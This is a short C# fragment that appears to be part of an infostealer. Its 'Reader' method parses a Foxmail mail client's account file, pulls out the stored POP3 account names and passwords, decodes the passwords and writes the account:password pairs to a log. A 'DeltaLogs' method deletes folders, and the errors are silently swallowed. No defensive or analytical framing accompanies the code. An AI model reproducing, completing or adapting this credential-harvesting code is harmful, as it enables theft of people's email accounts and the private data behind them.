public static void DeltaLogs(string NameFolder, bool True = true) => CombineEx.DeleteDir(CombineEx.CombinationEx(GlobalPath.User_Name, NameFolder), True);
private static void Reader(string FilePath, string MailText, bool accfound = false) { try { Thread.Sleep(1000); using (var fs = new FileStream(FilePath, FileMode.Open)) { int ver = 0, len = (int)fs.Length; byte[] bits = new byte[len]; string buffer = string.Empty, acc = string.Empty, pw = string.Empty; int read = fs.Read(bits, 0, len); ver = bits[0] != 0xD0 ? 1 : 0; for (int jx = 0; jx < len; ++jx) { if (bits[jx] <= 0x20 || bits[jx] >= 0x7f || bits[jx] == 0x3d) { buffer = ""; } else { buffer += (char)bits[jx]; if (!buffer.Equals("Account") && !buffer.Equals("POP3Account")) { if (accfound && (buffer.Equals("Password") || buffer.Equals("POP3Password"))) { int index = jx + 9; if (ver == 0) { index = jx + 2; } while (bits[index] > 0x20 && bits[index] < 0x7f) { pw += (char)bits[index]; index++; } CombineEx.CreateFile(true, GlobalPath.FoxMailLog, $"{MailText} : {DecodeFox(ver, pw)}{Environment.NewLine}"); jx = index; break; } } else { int index = jx + 9; if (ver == 0) { index = jx + 2; } while (bits[index] > 0x20 && bits[index] < 0x7f) { acc += (char)bits[index]; index++; } accfound = true; jx = index; } } } } } catch { } }